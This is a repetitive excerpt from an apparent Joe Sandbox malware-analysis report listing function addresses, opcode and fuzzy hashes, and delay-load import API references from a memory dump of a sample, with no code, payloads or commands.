Opcode ID: 0ba9850c3fffa020372a701ca6a194e129b43824b74d4a45006292197b6d7a09
Instruction ID: c0b3793d047cbe1162a3e2fad151fa0fac38426e06eb6065285b5e181203ad34
Opcode Fuzzy Hash: 0ba9850c3fffa020372a701ca6a194e129b43824b74d4a45006292197b6d7a09
Instruction Fuzzy Hash: 45A011E22A8002BC3808E2822C83C3B028CC0C0B2033088FEF822C8080AC80A8800830

Function 00B9E2A5 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B9E1E3

Part of subcall function 00B9E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B9E8D0
Part of subcall function 00B9E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00B9E8E1

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 4efd54497283eefb25244bc883b666df2d1127d24948d0787b8e7d2c882b46a3
Instruction ID: c0b3793d047cbe1162a3e2fad151fa0fac38426e06eb6065285b5e181203ad34
Opcode Fuzzy Hash: 4efd54497283eefb25244bc883b666df2d1127d24948d0787b8e7d2c882b46a3
Instruction Fuzzy Hash: 45A011E22A8002BC3808E2822C83C3B028CC0C0B2033088FEF822C8080AC80A8800830

Function 00B9E29B Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B9E1E3

Part of subcall function 00B9E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B9E8D0
Part of subcall function 00B9E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00B9E8E1

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: ad52a5d45c1f593b160c033488c019f11a9c7087d79f633a1461f3a4fd839278
Instruction ID: c0b3793d047cbe1162a3e2fad151fa0fac38426e06eb6065285b5e181203ad34
Opcode Fuzzy Hash: ad52a5d45c1f593b160c033488c019f11a9c7087d79f633a1461f3a4fd839278
Instruction Fuzzy Hash: 45A011E22A8002BC3808E2822C83C3B028CC0C0B2033088FEF822C8080AC80A8800830

Function 00B9E291 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B9E1E3

Part of subcall function 00B9E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B9E8D0
Part of subcall function 00B9E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00B9E8E1

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 3f3b0f500c9160b97b1033c091ab8223a6dd74e9c51977be63639d6526876904
Instruction ID: c0b3793d047cbe1162a3e2fad151fa0fac38426e06eb6065285b5e181203ad34
Opcode Fuzzy Hash: 3f3b0f500c9160b97b1033c091ab8223a6dd74e9c51977be63639d6526876904
Instruction Fuzzy Hash: 45A011E22A8002BC3808E2822C83C3B028CC0C0B2033088FEF822C8080AC80A8800830

Function 00B9E2D7 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B9E1E3

Part of subcall function 00B9E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B9E8D0
Part of subcall function 00B9E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00B9E8E1

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: d861aa1298c6919f8ee9e2dbc809beda64e58f2bccdd6b44719e793ff2627aec
Instruction ID: c0b3793d047cbe1162a3e2fad151fa0fac38426e06eb6065285b5e181203ad34
Opcode Fuzzy Hash: d861aa1298c6919f8ee9e2dbc809beda64e58f2bccdd6b44719e793ff2627aec
Instruction Fuzzy Hash: 45A011E22A8002BC3808E2822C83C3B028CC0C0B2033088FEF822C8080AC80A8800830

Function 00B9E2CD Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B9E1E3

Part of subcall function 00B9E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B9E8D0
Part of subcall function 00B9E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00B9E8E1

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: ec095bf5a1965f9595b1cad6e801003cce7b632a059acc638451bf668fad396f
Instruction ID: c0b3793d047cbe1162a3e2fad151fa0fac38426e06eb6065285b5e181203ad34
Opcode Fuzzy Hash: ec095bf5a1965f9595b1cad6e801003cce7b632a059acc638451bf668fad396f
Instruction Fuzzy Hash: 45A011E22A8002BC3808E2822C83C3B028CC0C0B2033088FEF822C8080AC80A8800830

Function 00B9E2C3 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B9E1E3

Part of subcall function 00B9E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B9E8D0
Part of subcall function 00B9E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00B9E8E1

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 62996e78b5b38163e81e99407c747d0cd28f2e3a9ae825a81e4e02848b58290b
Instruction ID: c0b3793d047cbe1162a3e2fad151fa0fac38426e06eb6065285b5e181203ad34
Opcode Fuzzy Hash: 62996e78b5b38163e81e99407c747d0cd28f2e3a9ae825a81e4e02848b58290b
Instruction Fuzzy Hash: 45A011E22A8002BC3808E2822C83C3B028CC0C0B2033088FEF822C8080AC80A8800830

Function 00B9E219 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B9E1E3

Part of subcall function 00B9E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B9E8D0
Part of subcall function 00B9E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00B9E8E1

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 68388b550fd036fd397170a3e0b6e43b11b8097f8173473f76a5a50002df7c9f
Instruction ID: c0b3793d047cbe1162a3e2fad151fa0fac38426e06eb6065285b5e181203ad34
Opcode Fuzzy Hash: 68388b550fd036fd397170a3e0b6e43b11b8097f8173473f76a5a50002df7c9f
Instruction Fuzzy Hash: 45A011E22A8002BC3808E2822C83C3B028CC0C0B2033088FEF822C8080AC80A8800830

Function 00B9E27D Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B9E1E3

Part of subcall function 00B9E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B9E8D0
Part of subcall function 00B9E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00B9E8E1

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: d0cb53f076c2ff8374ea3c6b3c182c8042101f6265fdfb2e8f755137a68ff669
Instruction ID: c0b3793d047cbe1162a3e2fad151fa0fac38426e06eb6065285b5e181203ad34
Opcode Fuzzy Hash: d0cb53f076c2ff8374ea3c6b3c182c8042101f6265fdfb2e8f755137a68ff669
Instruction Fuzzy Hash: 45A011E22A8002BC3808E2822C83C3B028CC0C0B2033088FEF822C8080AC80A8800830

Function 00B9E25F Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B9E1E3

Part of subcall function 00B9E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B9E8D0
Part of subcall function 00B9E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00B9E8E1

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 6c7dd233f0ef18ab706ae329cc6474a9acf2915671ac240fd9e93b5bcc42e42b
Instruction ID: c0b3793d047cbe1162a3e2fad151fa0fac38426e06eb6065285b5e181203ad34
Opcode Fuzzy Hash: 6c7dd233f0ef18ab706ae329cc6474a9acf2915671ac240fd9e93b5bcc42e42b
Instruction Fuzzy Hash: 45A011E22A8002BC3808E2822C83C3B028CC0C0B2033088FEF822C8080AC80A8800830

Function 00B9E3EF Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B9E3FC

Part of subcall function 00B9E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B9E8D0
Part of subcall function 00B9E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00B9E8E1

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: a919328e61be80fd68c071b25f11d79c29282d771e8ea33fb4b54afdba0d8adf
Instruction ID: 0dc8612b6bf6b50bdb3ca9edf2b5088141ccc0bf8a9ab5f5cbad26f9f792c0d1
Opcode Fuzzy Hash: a919328e61be80fd68c071b25f11d79c29282d771e8ea33fb4b54afdba0d8adf
Instruction Fuzzy Hash: 5DA011E22A80023E3808E282AC82C3B038CC0C0B2033088FEF832AA080BC8088000832

Function 00B9E43C Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B9E3FC

Part of subcall function 00B9E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B9E8D0
Part of subcall function 00B9E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00B9E8E1

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 6b1e07c7360fe2e1eb576cd8bd386476268c44d978934470fddcf2e4f298bb4c
Instruction ID: 3c059c212e3aa3a048ffea98f87d45041ff6762fdce07517b97b77c67fe2f95b
Opcode Fuzzy Hash: 6b1e07c7360fe2e1eb576cd8bd386476268c44d978934470fddcf2e4f298bb4c
Instruction Fuzzy Hash: B6A011E22AC002BC3808E282AC82C3B038CC0C0B2033088FEF8228A080BC8088000832

Function 00B9E432 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B9E3FC

Part of subcall function 00B9E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B9E8D0
Part of subcall function 00B9E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00B9E8E1

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 9f46c879124b480615844e868cd22513a2f3007f8d4cd9ca54bd5697609509af
Instruction ID: 3c059c212e3aa3a048ffea98f87d45041ff6762fdce07517b97b77c67fe2f95b
Opcode Fuzzy Hash: 9f46c879124b480615844e868cd22513a2f3007f8d4cd9ca54bd5697609509af
Instruction Fuzzy Hash: B6A011E22AC002BC3808E282AC82C3B038CC0C0B2033088FEF8228A080BC8088000832

Function 00B9E414 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B9E3FC

Part of subcall function 00B9E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B9E8D0
Part of subcall function 00B9E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00B9E8E1

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: b29970a7fd764572a198b73aa6fb41c6dcf7662a94b3ca182a2f0c1e594b6222
Instruction ID: 3c059c212e3aa3a048ffea98f87d45041ff6762fdce07517b97b77c67fe2f95b
Opcode Fuzzy Hash: b29970a7fd764572a198b73aa6fb41c6dcf7662a94b3ca182a2f0c1e594b6222
Instruction Fuzzy Hash: B6A011E22AC002BC3808E282AC82C3B038CC0C0B2033088FEF8228A080BC8088000832

Function 00B9E40A Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B9E3FC

Part of subcall function 00B9E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B9E8D0
Part of subcall function 00B9E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00B9E8E1

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: cbb7ebc414809569bcf3aab43592c78311a51eb927ec5b5d412c4341dcb17bf5
Instruction ID: 3c059c212e3aa3a048ffea98f87d45041ff6762fdce07517b97b77c67fe2f95b
Opcode Fuzzy Hash: cbb7ebc414809569bcf3aab43592c78311a51eb927ec5b5d412c4341dcb17bf5
Instruction Fuzzy Hash: B6A011E22AC002BC3808E282AC82C3B038CC0C0B2033088FEF8228A080BC8088000832

Function 00B9E446 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B9E3FC

Part of subcall function 00B9E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B9E8D0
Part of subcall function 00B9E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00B9E8E1

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 96f78db9f165dd51a52bcf3b379c6ab1e4e859be9899cb59aa583586cf8256c4
Instruction ID: 3c059c212e3aa3a048ffea98f87d45041ff6762fdce07517b97b77c67fe2f95b
Opcode Fuzzy Hash: 96f78db9f165dd51a52bcf3b379c6ab1e4e859be9899cb59aa583586cf8256c4
Instruction Fuzzy Hash: B6A011E22AC002BC3808E282AC82C3B038CC0C0B2033088FEF8228A080BC8088000832

Function 00B9E5A2 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B9E580

Part of subcall function 00B9E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B9E8D0
Part of subcall function 00B9E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00B9E8E1

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: d1c77e03578586ff7b8cf8b5ca08ae37816ee8482f2071b5dbea3565f21e27c5
Instruction ID: 5dda8a43ef451975d1f91d758db3bf14d9704fa382f48c28223759a15e685ce8
Opcode Fuzzy Hash: d1c77e03578586ff7b8cf8b5ca08ae37816ee8482f2071b5dbea3565f21e27c5
Instruction Fuzzy Hash: DCA011C22A8002BC3808E2A02C82C3B028CC0C0B2033288FEF822820E0BC8088000830

Function 00B9E58E Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B9E580

Part of subcall function 00B9E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B9E8D0
Part of subcall function 00B9E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00B9E8E1

Memory Dump Source

